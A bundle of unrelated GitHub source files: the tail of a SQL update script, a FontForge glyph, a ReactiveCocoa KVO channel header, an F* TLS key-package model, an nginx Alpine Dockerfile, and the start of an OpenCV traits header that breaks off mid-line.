where a53 is null; update huge set a54 = 2 where a54 is null; update huge set a55 = 2 where a55 is null; update huge set a56 = 2 where a56 is null; update huge set a57 = 2 where a57 is null; update huge set a58 = 2 where a58 is null; update huge set a59 = 2 where a59 is null; update huge set a60 = 2 where a60 is null; update huge set a61 = 2 where a61 is null; update huge set a62 = 2 where a62 is null; update huge set a63 = 2 where a63 is null; update huge set a64 = 2 where a64 is null; update huge set a65 = 2 where a65 is null; update huge set a66 = 2 where a66 is null; update huge set a67 = 2 where a67 is null; update huge set a68 = 2 where a68 is null; update huge set a69 = 2 where a69 is null; update huge set a70 = 2 where a70 is null; update huge set a71 = 2 where a71 is null; update huge set a72 = 2 where a72 is null; update huge set a73 = 2 where a73 is null; update huge set a74 = 2 where a74 is null; update huge set a75 = 2 where a75 is null; update huge set a76 = 2 where a76 is null; update huge set a77 = 2 where a77 is null; update huge set a78 = 2 where a78 is null; update huge set a79 = 2 where a79 is null; update huge set a80 = 2 where a80 is null; update huge set a81 = 2 where a81 is null; update huge set a82 = 2 where a82 is null; update huge set a83 = 2 where a83 is null; update huge set a84 = 2 where a84 is null; update huge set a85 = 2 where a85 is null; update huge set a86 = 2 where a86 is null; update huge set a87 = 2 where a87 is null; update huge set a88 = 2 where a88 is null; update huge set a89 = 2 where a89 is null; update huge set a90 = 2 where a90 is null; update huge set a91 = 2 where a91 is null; update huge set a92 = 2 where a92 is null; update huge set a93 = 2 where a93 is null; update huge set a94 = 2 where a94 is null; update huge set a95 = 2 where a95 is null; update huge set a96 = 2 where a96 is null; update huge set a97 = 2 where a97 is null; update huge set a98 = 2 where a98 is null; update huge set a99 = 2 where a99 is null; rollback;
{ "pile_set_name": "Github" }
StartChar: X.subs Encoding: 1114255 -1 1254 Width: 459 VWidth: 0 Flags: HMW LayerCount: 3 Fore SplineSet 433 16 m 0 448 12 454 9 454 4 c 0 454 -1 447 -3 436 -3 c 0 421 -3 390 1 363 1 c 0 335 1 295 0 276 0 c 0 265 0 257 2 257 7 c 0 257 12 269 17 278 19 c 0 291 23 307 32 307 47 c 0 307 53 304 60 299 67 c 2 231 157 l 2 225 165 222 165 217 160 c 2 129 56 l 2 125 51 123 46 123 42 c 0 123 31 136 22 153 18 c 0 168 14 174 11 174 6 c 0 174 1 166 -1 155 -1 c 0 141 -1 110 1 86 1 c 0 59 1 36 -3 16 -3 c 0 5 -3 -3 -1 -3 4 c 0 -3 9 4 13 18 17 c 0 40 23 83 42 111 74 c 18 192 168 l 1 201 180 208 189 203 195 c 2 109 317 l 10 87 346 55 367 33 373 c 0 19 377 12 381 12 386 c 0 12 391 20 393 31 393 c 0 51 393 80 390 110 390 c 0 133 390 175 391 188 391 c 0 199 391 207 390 207 385 c 0 207 380 200 377 185 373 c 0 171 370 165 357 165 344 c 0 165 334 168 325 174 317 c 2 233 240 l 2 242 228 244 228 252 238 c 2 322 323 l 2 326 328 328 335 328 342 c 0 328 355 321 369 309 372 c 0 300 374 288 379 288 384 c 0 288 389 296 391 307 391 c 0 323 391 354 390 373 390 c 0 400 390 416 394 434 394 c 0 445 394 452 392 452 387 c 0 452 382 446 379 431 375 c 0 406 369 375 338 346 306 c 18 272 224 l 2 262 213 258 207 263 200 c 2 363 67 l 10 383 40 408 22 433 16 c 0 EndSplineSet Validated: 1 EndChar
{ "pile_set_name": "Github" }
// // RACKVOChannel.h // ReactiveCocoa // // Created by Uri Baghin on 27/12/2012. // Copyright (c) 2012 GitHub, Inc. All rights reserved. // #import "RACChannel.h" #import "EXTKeyPathCoding.h" #import "metamacros.h" /// Creates a RACKVOChannel to the given key path. When the targeted object /// deallocates, the channel will complete. /// /// If RACChannelTo() is used as an expression, it returns a RACChannelTerminal that /// can be used to watch the specified property for changes, and set new values /// for it. The terminal will start with the property's current value upon /// subscription. /// /// If RACChannelTo() is used on the left-hand side of an assignment, there must a /// RACChannelTerminal on the right-hand side of the assignment. The two will be /// subscribed to one another: the property's value is immediately set to the /// value of the channel terminal on the right-hand side, and subsequent changes /// to either terminal will be reflected on the other. /// /// There are two different versions of this macro: /// /// - RACChannelTo(TARGET, KEYPATH, NILVALUE) will create a channel to the `KEYPATH` /// of `TARGET`. If the terminal is ever sent a `nil` value, the property will /// be set to `NILVALUE` instead. `NILVALUE` may itself be `nil` for object /// properties, but an NSValue should be used for primitive properties, to /// avoid an exception if `nil` is sent (which might occur if an intermediate /// object is set to `nil`). /// - RACChannelTo(TARGET, KEYPATH) is the same as the above, but `NILVALUE` defaults to /// `nil`. /// /// Examples /// /// RACChannelTerminal *integerChannel = RACChannelTo(self, integerProperty, @42); /// /// // Sets self.integerProperty to 5. /// [integerChannel sendNext:@5]; /// /// // Logs the current value of self.integerProperty, and all future changes. /// [integerChannel subscribeNext:^(id value) { /// NSLog(@"value: %@", value); /// }]; /// /// // Binds properties to each other, taking the initial value from the right /// side. /// RACChannelTo(view, objectProperty) = RACChannelTo(model, objectProperty); /// RACChannelTo(view, integerProperty, @2) = RACChannelTo(model, integerProperty, @10); #define RACChannelTo(TARGET, ...) \ metamacro_if_eq(1, metamacro_argcount(__VA_ARGS__)) \ (RACChannelTo_(TARGET, __VA_ARGS__, nil)) \ (RACChannelTo_(TARGET, __VA_ARGS__)) /// Do not use this directly. Use the RACChannelTo macro above. #define RACChannelTo_(TARGET, KEYPATH, NILVALUE) \ [[RACKVOChannel alloc] initWithTarget:(TARGET) keyPath:@keypath(TARGET, KEYPATH) nilValue:(NILVALUE)][@keypath(RACKVOChannel.new, followingTerminal)] /// A RACChannel that observes a KVO-compliant key path for changes. @interface RACKVOChannel : RACChannel /// Initializes a channel that will observe the given object and key path. /// /// The current value of the key path, and future KVO notifications for the given /// key path, will be sent to subscribers of the channel's `followingTerminal`. /// Values sent to the `followingTerminal` will be set at the given key path using /// key-value coding. /// /// When the target object deallocates, the channel will complete. Signal errors /// are considered undefined behavior. /// /// This is the designated initializer for this class. /// /// target - The object to bind to. /// keyPath - The key path to observe and set the value of. /// nilValue - The value to set at the key path whenever a `nil` value is /// received. This may be nil when connecting to object properties, but /// an NSValue should be used for primitive properties, to avoid an /// exception if `nil` is received (which might occur if an intermediate /// object is set to `nil`). - (id)initWithTarget:(__weak NSObject *)target keyPath:(NSString *)keyPath nilValue:(id)nilValue; - (id)init __attribute__((unavailable("Use -initWithTarget:keyPath:nilValue: instead"))); @end /// Methods needed for the convenience macro. Do not call explicitly. @interface RACKVOChannel (RACChannelTo) - (RACChannelTerminal *)objectForKeyedSubscript:(NSString *)key; - (void)setObject:(RACChannelTerminal *)otherTerminal forKeyedSubscript:(NSString *)key; @end
{ "pile_set_name": "Github" }
module Pkg /// We develop a generic model for key extraction and key derivation /// parametrized by a usage function from labels to derived keyed /// functionalities. /// /// * captures resumption derivations via bounded-recursive instantiation. /// * captures PRF-ODH double game /// * applicable to the full extract/expand key schedule of TLS 1.3 /// * models partial key compromise, controlled by the adversary for each new key /// * features agility on hash algorithms and DH groups, and ideal-only indexes. /// /// We first embed first-class modules as datatype "packages". This /// module specifies three kinds of packages (for indexes, local /// functionalities, and multi-instance functionalities) and provides /// generic "packaging" code from local packages to multi-instance /// packages. open Mem module MDM = FStar.Monotonic.DependentMap module MH = FStar.Monotonic.Heap module HS = FStar.HyperStack type bytes = FStar.Bytes.bytes //let lbytes32 = FStar.Bytes.lbytes32 type lbytes32 n = FStar.Bytes.lbytes (UInt32.v n) /// Index packages provide an abstract index for instances, with an /// interface to project (ghost) indexes to (concrete) runtime /// parameters, such as algorithms or key length, and to define their /// "honesty", thereby controlling their conditional idealization. /// /// We distinguish between "honest", which refers to the adversary's /// intent (and is considered public) and "safe", which controls /// fine-grained idealization: roughly safe i = Flags.ideal /\ honest i inline_for_extraction noeq type ipkg = | Idx: t: eqtype (* abstract type for indexes *) -> // three abstract predicates implemented as witnesses, and a stateful reader. registered: (i:t -> GTot Type0) -> honest: (i:t -> GTot Type0) -> (* stateful reader, returning either honest or corrupt *) get_honesty: (i:t{registered i} -> ST bool (requires fun _ -> True) (ensures fun h0 b h1 -> h0 == h1 /\ (b <==> honest i))) -> ipkg /// Keyed functionality define Key packages, parametric in their /// indexes, but concrete on their key randomness. The package is /// meant to be used merely as a generic interface for /// creation/coercion; instances may have any number of other /// functions (such as leak, for instance). /// /// [ip] defines the abstract indexes used in the package. /// /// [info] represents creation-time information, such as algorithms or /// key lengths; it is largely determined by the (ghost) index, so /// that all users of the instance agree on them, with details left to /// each package definition. (For instance, parent regions for /// allocating ideal state may differ.) We pass both the index and its /// info inasmuch as the index will be erased. /// /// [len] provides the concrete length of random key materials for /// creating a new instance, as a function of the creation-time info. /// /// [create] and [coerce] generate new instances; [create] requires /// `model`, whereas [coerce] requires corruption when idealizing; /// hence the two may be callable on the same indexes. /// /// We must have [create i a == coerce i a (sample (len a))] /// we currently check by hand that this follows from F* semantics. /// Derived key length restriction when using HKDF type keylen = l:UInt32.t {0 < UInt32.v l /\ UInt32.v l <= 255} (* Definedness *) // Framing of package invariants can be done w.r.t either a region that is // disjoint from tls_define_region, or a define table that must be at a // different address than the package's define_table noeq type pkg_inv_r = | Pinv_region: r:rid{r `disjoint` tls_define_region} -> pkg_inv_r | Pinv_define: #it:eqtype -> #vt:(it -> Type) -> t:mem_table vt -> pkg_inv_r // When calling create or coerce, the footprint of a package grows only with // fresh subregions type modifies_footprint (fp:mem->GTot rset) h0 h1 = forall (r:rid). (Set.mem r (fp h0) /\ ~(Set.mem r (fp h1))) ==> fresh_region r h0 h1 //AR: 12/05: Could use the pattern {:pattern (Set.mem r (fp h0)); (Set.mem r (fp h1))} inline_for_extraction noeq type pkg (ip: ipkg) = | Pkg: key: (i:ip.t {ip.registered i} -> Type0) (* indexed state of the functionality *) -> info: (ip.t -> Type0) (* creation-time arguments, typically refined using i:ip.t *) -> len: (#i:ip.t -> info i -> keylen) (* computes the key-material length from those arguments *) -> ideal: Type0{ideal ==> model} (* type-level access to the ideal flag of the package *) -> // when modelling, we maintain a global table of all allocated // instances of the package. Only the package modifies the table. // // The package footprint is a function of the table contents; // that collects all global and instance-local regions, but not [define_table] define_table: mem_table #(i:ip.t {ip.registered i}) key -> footprint: (mem -> GTot rset) -> footprint_framing: (h0:mem -> h1:mem -> Lemma (requires mem_stable define_table h0 h1) (ensures footprint h0 == footprint h1)) -> // we maintain a package invariant, // which only depends on the table and footpring. package_invariant: (mem -> Type0) -> package_invariant_framing: (h0:mem -> r:pkg_inv_r -> h1:mem -> Lemma (requires package_invariant h0 /\ mem_contains define_table h0 /\ (match r with | Pinv_region r -> modifies_one r h0 h1 /\ ~(Set.mem r (footprint h0)) | Pinv_define #it #vt t -> mem_contains t h0 /\ modifies_mem_table t h0 h1 /\ mem_disjoint t define_table)) (ensures package_invariant h1)) -> // create and coerce, with a shared post-condition and framing lemma // so that [derive] can pass the post-condition to its caller; the // concrete part of the postcondition is what we need in [derive]. post: (#i:ip.t{ip.registered i} -> info i -> key i -> mem -> GTot Type0) -> post_framing: (#i:ip.t{ip.registered i} -> a:info i -> k:key i -> h0:mem -> r:rid -> h1:mem -> Lemma (requires (post a k h0 /\ modifies_one r h0 h1 /\ ~(r `Set.mem` footprint h0))) (ensures (post a k h1))) -> create: (i:ip.t{ip.registered i} -> a:info i -> ST (key i) (requires fun h0 -> model /\ package_invariant h0 /\ mem_fresh define_table i h0) (ensures fun h0 k h1 -> post a k h1 /\ package_invariant h1 /\ modifies_mem_table define_table h0 h1 /\ modifies_footprint footprint h0 h1 /\ mem_update define_table i k h0 h1)) -> coerceT: (i:ip.t{ip.registered i /\ (ideal ==> ~(ip.honest i))} -> a:info i -> lbytes32 (len a) -> GTot (key i)) -> coerce: (i:ip.t{ip.registered i /\ (ideal ==> ~(ip.honest i))} -> a:info i -> rk: lbytes32 (len a) -> ST (key i) (requires fun h0 -> package_invariant h0 /\ mem_fresh define_table i h0) (ensures fun h0 k h1 -> k == coerceT i a rk /\ post a k h1 /\ package_invariant h1 /\ modifies_mem_table define_table h0 h1 /\ modifies_footprint footprint h0 h1 /\ mem_update define_table i k h0 h1)) -> pkg ip type fresh_regions (s:rset) (h0:mem) (h1:mem) = forall (r:rid).{:pattern (Set.mem r s)} Set.mem r s ==> (fresh_region r h0 h1 \/ is_tls_rgn r) /// packages of instances with local private state, before ensuring /// their unique definition at every index and the disjointness of /// their footprints. inline_for_extraction noeq type local_pkg (ip: ipkg) = | LocalPkg: key: (i:ip.t{ip.registered i} -> Type0) -> info: (ip.t -> Type0) -> len: (#i:ip.t -> info i -> keylen) -> ideal: Type0 -> (* regions that are shared accross instances of the functionality *) shared_footprint: rset -> (* regions that are specific to each instance and freshly allocated when the instance is created *) local_footprint: (#i:ip.t{ip.registered i} -> key i -> GTot (s:rset{s `Set.disjoint` shared_footprint})) -> local_invariant: (#i:ip.t{ip.registered i} -> key i -> mem -> GTot Type0) (* instance invariant *) -> local_invariant_framing: (i:ip.t{ip.registered i} -> k:key i -> h0:mem -> r:rid -> h1:mem -> Lemma (requires local_invariant k h0 /\ modifies_one r h0 h1 /\ ~(r `Set.mem` local_footprint k) /\ ~(r `Set.mem` shared_footprint)) (ensures local_invariant k h1)) -> post: (#i:ip.t{ip.registered i} -> info i -> key i -> mem -> GTot Type0) -> post_framing: (#i:ip.t{ip.registered i} -> a:info i -> k:key i -> h0:mem -> r:rid -> h1:mem -> Lemma (requires (post a k h0 /\ modifies_one r h0 h1 /\ ~(r `Set.mem` local_footprint k))) (ensures (post a k h1))) -> create: (i:ip.t{ip.registered i} -> a:info i -> ST (key i) (requires fun h0 -> model) (ensures fun h0 k h1 -> modifies_none h0 h1 /\ local_invariant k h1 /\ post a k h1 /\ fresh_regions (local_footprint k) h0 h1)) -> coerceT: (i:ip.t{ip.registered i /\ (ideal ==> ~(ip.honest i))} -> a:info i -> lbytes32 (len a) -> GTot (key i)) -> coerce: (i:ip.t{ip.registered i /\ (ideal ==> ~(ip.honest i))} -> a:info i -> rk:lbytes32 (len a) -> ST (key i) (requires fun h0 -> True) (ensures fun h0 k h1 -> k == coerceT i a rk /\ modifies_none h0 h1 /\ local_invariant k h1 /\ post a k h1 /\ fresh_regions (local_footprint k) h0 h1)) -> local_pkg ip (* Iterators over Monotonic.Map, require a change of implementation *) (* cwinter: this is now a Monotonic.DependentMap *) (* 2018.05.26 SZ: I can't find anything like these in Monotonic.DependentMap; cwinter? *) let mm_fold (#a:eqtype) (#b:a -> Type) (t:MDM.map a b) (#rt:Type) (init:rt) (folder:(rt -> i:a -> b i -> GTot rt)) : GTot rt = admit() let mm_fold_grow (#a:eqtype) (#b:a -> Type) (t:MDM.map a b) (t':MDM.map a b) (i:a) (v:b i) (#rt:Type) (init:rt) (folder:(rt -> i:a -> b i -> GTot rt)) : Lemma (requires t' == MDM.upd t i v) (ensures mm_fold t' init folder == folder (mm_fold t init folder) i v) = admit() assume type mm_forall (#a:eqtype) (#b:a -> Type) (t:MDM.map a b) (p: (#i:a -> b i -> mem -> GTot Type0)) (h:mem) let lemma_mm_forall_frame (#a:eqtype) (#b:a -> Type) (t:MDM.map a b) (p: (#i:a -> b i -> mem -> GTot Type0)) (footprint: (#i:a -> v:b i -> GTot rset)) (p_frame: (i:a -> v:b i -> h0:mem -> r:rid -> h1:mem -> Lemma (requires p v h0 /\ modifies_one r h0 h1 /\ ~(Set.mem r (footprint v))) (ensures p v h1))) (r:rid) (h0 h1:mem) : Lemma (requires mm_forall t p h0 /\ modifies_one r h0 h1 /\ ~(Set.mem r (mm_fold t #rset Set.empty (fun s i k -> rset_union s (footprint k))))) (ensures mm_forall t p h1) = admit() let lemma_mm_forall_extend (#a:eqtype) (#b:a -> Type) (t:MDM.map a b) (t':MDM.map a b) (p: (#i:a -> b i -> mem -> GTot Type0)) (i:a) (v:b i) (h0 h1:mem) : Lemma (requires mm_forall t p h1 /\ t' == MDM.upd t i v /\ p v h1) (ensures mm_forall t' p h1) = admit() let lemma_mm_forall_init (#a:eqtype) (#b:a -> Type) (t:MDM.map a b) (p: (#i:a -> b i -> mem -> GTot Type0)) (h:mem) : Lemma (requires t == MDM.empty) (ensures mm_forall t p h) = admit() let lemma_mm_forall_elim (#a:eqtype) (#b:a -> Type) (t:MDM.map a b) (p: (#i:a -> b i -> mem -> GTot Type0)) (i:a) (v:b i) (h:mem) : Lemma (requires mm_forall t p h /\ MDM.sel t i == Some v) (ensures p v h) = admit() let lemma_union_com (s1:rset) (s2:rset) (s3:rset) : Lemma (rset_union s1 (rset_union s2 s3) == rset_union (rset_union s1 s2) s3) = admit() (* obsolete, replaced by refinement of memoize_ST unfold type mem_package (#ip:ipkg) (p:local_pkg ip) = p':pkg ip{ Pkg?.key p' == LocalPkg?.key p /\ Pkg?.info p' == LocalPkg?.info p /\ Pkg?.len p' == LocalPkg?.len p /\ Pkg?.ideal p' == LocalPkg?.ideal p /\ (forall (#i:ip.t{ip.registered i}) (k:p.key i) (h:mem). (mem_defined p'.define_table i /\ p'.package_invariant h) ==> p.local_invariant k h) /\ (forall (#i:ip.t{ip.registered i}) (a:p.info i) (k:p.key i) (h:mem). (Pkg?.post p') #i (a <: Pkg?.info p' i) (k <: Pkg?.key p' i) h ==> (LocalPkg?.post p) #i a k h) } *) // Memoization functor from local to global packages that memoize // instances produced by create/coerce and maintain their joint // invariant. // // We provide both a pure, unfolded functor and a stateful, // table-allocating functor; the latter is probably too opaque for // correlating its result with the source definitions. #set-options "--z3rlimit 100 --admit_smt_queries true" //unfold inline_for_extraction noextract let memoization (#ip:ipkg) (p:local_pkg ip) ($mtable: mem_table p.key): pkg ip = [@inline_let] let footprint_extend (s:rset) (i:ip.t{ip.registered i}) (k:p.key i) = rset_union s (p.local_footprint k) in [@inline_let] let footprint (h:mem): GTot rset = let instances_footprint = if model then let map = HS.sel h (itable mtable) in mm_fold map #rset Set.empty footprint_extend else Set.empty in rset_union p.shared_footprint instances_footprint in [@inline_let] let footprint_grow (h0:mem) (i:ip.t{ip.registered i}) (k:p.key i) (h1:mem) : Lemma (requires (mem_update mtable i k h0 h1 /\ fresh_regions (p.local_footprint k) h0 h1)) (ensures (modifies_footprint footprint h0 h1)) = if model then begin let map = HS.sel h0 (itable mtable) in let map = HS.sel h1 (itable mtable) in let fp0 = footprint h0 in let fp1 = footprint h1 in mm_fold_grow map map i k #rset Set.empty footprint_extend; assert(fp1 == rset_union p.shared_footprint (rset_union (mm_fold map #rset Set.empty footprint_extend) (p.local_footprint k))); lemma_union_com p.shared_footprint (mm_fold map #rset Set.empty footprint_extend) (p.local_footprint k); assert(fp1 == rset_union fp0 (p.local_footprint k)); assert(forall (r:rid). (Set.mem r fp1 /\ ~(Set.mem r fp0)) ==> Set.mem r (p.local_footprint k)); assert(modifies_footprint footprint h0 h1) end else () in [@inline_let] let footprint_framing (h0:mem) (h1:mem) : Lemma (requires mem_stable mtable h0 h1) (ensures footprint h0 == footprint h1) = () in [@inline_let] let package_invariant h = (model ==> (let log : i_mem_table p.key = itable mtable in mm_forall (HS.sel h log) p.local_invariant h)) in [@inline_let] let ls_footprint (#i:ip.t{ip.registered i}) (k:p.key i) = rset_union (p.local_footprint k) p.shared_footprint in [@inline_let] let ls_footprint_frame (i:ip.t{ip.registered i}) (k:p.key i) (h0:mem) (r:rid) (h1:mem) : Lemma (requires p.local_invariant k h0 /\ modifies_one r h0 h1 /\ ~(r `Set.mem` ls_footprint k)) (ensures p.local_invariant k h1) = assert(~(r `Set.mem` ls_footprint k) <==> ~(r `Set.mem` p.local_footprint k) /\ ~(r `Set.mem` p.shared_footprint)); p.local_invariant_framing i k h0 r h1 in [@inline_let] let package_invariant_framing (h0:mem) (r:pkg_inv_r) (h1:mem) : Lemma (requires package_invariant h0 /\ mem_contains mtable h0 /\ (match r with | Pinv_region r -> modifies_one r h0 h1 /\ ~(Set.mem r (footprint h0)) | Pinv_define #it #vt t -> mem_contains t h0 /\ modifies_mem_table t h0 h1 /\ mem_disjoint t mtable)) (ensures package_invariant h1) = if model then let map = HS.sel h0 (itable mtable) in assert(mm_forall map p.local_invariant h0); (match r with | Pinv_region r -> assert(modifies_one r h0 h1 /\ r `disjoint` tls_define_region); lemma_mm_forall_frame map p.local_invariant ls_footprint ls_footprint_frame r h0 h1; lemma_mem_frame mtable h0 r h1 | Pinv_define t -> assert(modifies_mem_table t h0 h1 /\ mem_disjoint t mtable); lemma_mm_forall_frame map p.local_invariant ls_footprint ls_footprint_frame tls_define_region h0 h1; lemma_mem_disjoint_stable t mtable h0 h1) else () in [@inline_let] let create (i:ip.t{ip.registered i}) (a:p.info i) : ST (p.key i) (requires fun h0 -> model /\ package_invariant h0 /\ mem_fresh mtable i h0) (ensures fun h0 k h1 -> modifies_mem_table mtable h0 h1 /\ modifies_footprint footprint h0 h1 /\ p.post a k h1 /\ package_invariant h1 /\ mem_update mtable i k h0 h1) = let h0 = get () in let tbl : i_mem_table p.key = itable mtable in recall tbl; let k : p.key i = p.create i a in let h1 = get() in assert(HS.sel h0 tbl == HS.sel h1 tbl); package_invariant_framing h0 (Pinv_region tls_tables_region) h1; MDM.extend tbl i k; let h2 = get () in lemma_define_tls_honest_regions (p.local_footprint k); p.post_framing #i a k h1 tls_define_region h2; lemma_mm_forall_frame (HS.sel h1 tbl) p.local_invariant ls_footprint ls_footprint_frame tls_define_region h1 h2; p.local_invariant_framing i k h1 tls_define_region h2; lemma_mm_forall_extend (HS.sel h1 tbl) (HS.sel h2 tbl) p.local_invariant i k h1 h2; assume(HS.modifies_ref tls_define_region (Set.singleton (mem_addr (itable mtable))) h0 h2); // How to prove? footprint_grow h0 i k h2; k in [@inline_let] let coerce (i:ip.t{ip.registered i /\ (p.ideal ==> ~(ip.honest i))}) (a:p.info i) (k0:lbytes32 (p.len a)) : ST (p.key i) (requires fun h0 -> package_invariant h0 /\ mem_fresh mtable i h0) (ensures fun h0 k h1 -> k == p.coerceT i a k0 /\ modifies_mem_table mtable h0 h1 /\ modifies_footprint footprint h0 h1 /\ p.post a k h1 /\ package_invariant h1 /\ mem_update mtable i k h0 h1) = if model then ( let h0 = get () in let tbl : i_mem_table p.key = itable mtable in recall tbl; let k : p.key i = p.coerce i a k0 in let h1 = get() in assert(HS.sel h0 tbl == HS.sel h1 tbl); package_invariant_framing h0 (Pinv_region tls_tables_region) h1; MDM.extend tbl i k; let h2 = get () in lemma_define_tls_honest_regions (p.local_footprint k); p.post_framing #i a k h1 tls_define_region h2; lemma_mm_forall_frame (HS.sel h1 tbl) p.local_invariant ls_footprint ls_footprint_frame tls_define_region h1 h2; p.local_invariant_framing i k h1 tls_define_region h2; lemma_mm_forall_extend (HS.sel h1 tbl) (HS.sel h2 tbl) p.local_invariant i k h1 h2; assume(HS.modifies_ref tls_define_region (Set.singleton (mem_addr (itable mtable))) h0 h2); // How to prove? footprint_grow h0 i k h2; k ) else p.coerce i a k0 in [@inline_let] let post_framing (#i:ip.t{ip.registered i}) (a:p.info i) (k:p.key i) (h0:mem) (r:rid) (h1:mem) : Lemma (requires p.post a k h0 /\ modifies_one r h0 h1 /\ ~(Set.mem r (footprint h0))) (ensures p.post a k h1) = // FIXME(adl): we have a problem when model is false - we have nowhere to store // the joint footprint of the concrete state! for now we will assume // not model ==> local_footprint k = Set.empty for all k // We may have to maintain an erased (i_mem_table p.key) when model is off to // store the concrete footprints assume(~(Set.mem r (footprint h0)) ==> ~(Set.mem r (p.local_footprint k))); p.post_framing #i a k h0 r h1 in (Pkg p.key p.info p.len p.ideal mtable footprint footprint_framing package_invariant package_invariant_framing p.post post_framing create p.coerceT coerce) inline_for_extraction noextract let memoization_ST (#ip:ipkg) (p:local_pkg ip) : ST (pkg ip) (requires fun h0 -> True) (ensures fun h0 q h1 -> LocalPkg?.key p == Pkg?.key q /\ // seems to help (let t: mem_table p.key = q.define_table in modifies_mem_table t h0 h1 /\ q == memoization #ip p t /\ q.package_invariant h1)) = let h0 = get() in let mtable: mem_table p.key = mem_alloc #(i:ip.t{ip.registered i}) p.key in let h1 = get() in [@inline_let] let q = memoization #ip p mtable in //assert(q == memoization #ip p mtable); // fails when unfolding memoization AR: 12/05: this is no longer needed per the new inlining behavior // assert_norm(q == memoization #ip p mtable);// also fails, with squashing error (if model then lemma_mm_forall_init (HS.sel h1 (itable mtable)) p.local_invariant h1); q (* Style for enforcing full normalization to enable erasure of `pkg` arguments: inline_for_extraction val derive: x:pkg -> bool -> x.t let derive x n = normalize_term (x.f n) inline_for_extraction val create: bool -> ret let create n = B n (** Coercion to reveal the head of the implicit match in [derive] *) noextract val as_create: x:pkg{x.t == ret /\ x.f == create} -> y:pkg{x == y} let as_create x = Pkg create x.n val test: x:pkg{x.t == ret /\ x.f == create} -> ret let test x = derive (as_create x) true *)
{ "pile_set_name": "Github" }
FROM nginx:alpine LABEL maintainer="Mahmoud Zalt <mahmoud@zalt.me>" COPY nginx.conf /etc/nginx/ COPY sites/default.conf /etc/nginx/sites-available/ ARG SERVER_ROOT RUN sed -i "s#{SERVER_ROOT}#$SERVER_ROOT#g" /etc/nginx/sites-available/default.conf # If you're in China, or you need to change sources, will be set CHANGE_SOURCE to true in .env. ARG CHANGE_SOURCE=false RUN if [ ${CHANGE_SOURCE} = true ]; then \ # Change application source from dl-cdn.alpinelinux.org to aliyun source sed -i 's/dl-cdn.alpinelinux.org/mirrors.aliyun.com/' /etc/apk/repositories \ ;fi RUN apk update \ && apk upgrade \ && apk --update add logrotate \ && apk add --no-cache openssl \ && apk add --no-cache bash RUN apk add --no-cache curl RUN set -x ; \ addgroup -g 82 -S www-data ; \ adduser -u 82 -D -S -G www-data www-data && exit 0 ; exit 1 ARG PHP_UPSTREAM_CONTAINER=php-fpm ARG PHP_UPSTREAM_PORT=9000 # Create 'messages' file used from 'logrotate' RUN touch /var/log/messages # Copy 'logrotate' config file COPY logrotate/nginx /etc/logrotate.d/ # Set upstream conf and remove the default conf RUN echo "upstream php-upstream { server ${PHP_UPSTREAM_CONTAINER}:${PHP_UPSTREAM_PORT}; }" > /etc/nginx/conf.d/upstream.conf \ && rm /etc/nginx/conf.d/default.conf ADD ./startup.sh /opt/startup.sh RUN sed -i 's/\r//g' /opt/startup.sh CMD ["/bin/bash", "/opt/startup.sh"] EXPOSE 80 81 443
{ "pile_set_name": "Github" }
/*M/////////////////////////////////////////////////////////////////////////////////////// // // IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING. // // By downloading, copying, installing or using the software you agree to this license. // If you do not agree to this license, do not download, install, // copy or use the software. // // // License Agreement // For Open Source Computer Vision Library // // Copyright (C) 2000-2008, Intel Corporation, all rights reserved. // Copyright (C) 2009, Willow Garage Inc., all rights reserved. // Copyright (C) 2013, OpenCV Foundation, all rights reserved. // Third party copyrights are property of their respective owners. // // Redistribution and use in source and binary forms, with or without modification, // are permitted provided that the following conditions are met: // // * Redistribution's of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // // * Redistribution's in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // // * The name of the copyright holders may not be used to endorse or promote products // derived from this software without specific prior written permission. // // This software is provided by the copyright holders and contributors "as is" and // any express or implied warranties, including, but not limited to, the implied // warranties of merchantability and fitness for a particular purpose are disclaimed. // In no event shall the Intel Corporation or contributors be liable for any direct, // indirect, incidental, special, exemplary, or consequential damages // (including, but not limited to, procurement of substitute goods or services; // loss of use, data, or profits; or business interruption) however caused // and on any theory of liability, whether in contract, strict liability, // or tort (including negligence or otherwise) arising in any way out of // the use of this software, even if advised of the possibility of such damage. // //M*/ #ifndef OPENCV_CORE_TRAITS_HPP #define OPENCV_CORE_TRAITS_HPP #include "opencv2/core/cvdef.h" namespace cv { //#define OPENCV_TRAITS_ENABLE_DEPRECATED //! @addtogroup core_basic //! @{ /** @brief Template "trait" class for OpenCV primitive data types. @note Deprecated. This is replaced by "single purpose" traits: traits::Type and traits::Depth A primitive OpenCV data type is one of unsigned char, bool, signed char, unsigned short, signed short, int, float, double, or a tuple of values of one of these types, where all the values in the tuple have the same type. Any primitive type from the list can be defined by an identifier in the form CV_\<bit-depth\>{U|S|F}C(\<number_of_channels\>), for example: uchar \~ CV_8UC1, 3-element floating-point tuple \~ CV_32FC3, and so on. A universal OpenCV structure that is able to store a single instance of such a primitive data type is Vec. Multiple instances of such a type can be stored in a std::vector, Mat, Mat_, SparseMat, SparseMat_, or any other container that is able to store Vec instances. The DataType class is basically used to provide a description of such primitive data types without adding any fields or methods to the corresponding classes (and it is actually impossible to add anything to primitive C/C++ data types). This technique is known in C++ as class traits. It is not DataType itself that is used but its specialized versions, such as: @code template<> class DataType<uchar> { typedef uchar value_type; typedef int work_type; typedef uchar channel_type; enum { channel_type = CV_8U, channels = 1, fmt='u', type = CV_8U }; }; ... template<typename _Tp> DataType<std::complex<_Tp> > { typedef std::complex<_Tp> value_type; typedef std::complex<_Tp> work_type; typedef _Tp channel_type; // DataDepth is another helper trait class enum { depth = DataDepth<_Tp>::value, channels=2, fmt=(channels-1)*256+DataDepth<_Tp>::fmt, type=CV_MAKETYPE(depth, channels) }; }; ... @endcode The main purpose of this class is to convert compilation-time type information to an OpenCV-compatible data type identifier, for example: @code // allocates a 30x40 floating-point matrix Mat A(30, 40, DataType<float>::type); Mat B = Mat_<std::complex<double> >(3, 3); // the statement below will print 6, 2 , that is depth == CV_64F, channels == 2 cout << B.depth() << ", " << B.channels() << endl; @endcode So, such traits are used to tell OpenCV which data type you are working with, even if such a type is not native to OpenCV. For example, the matrix B initialization above is compiled because OpenCV defines the proper specialized template class DataType\<complex\<_Tp\> \> . This mechanism is also useful (and used in OpenCV this way) for generic algorithms implementations. @note Default values were dropped to stop confusing developers about using of unsupported types (see #7599) */ template<typename _Tp> class DataType { public: #ifdef 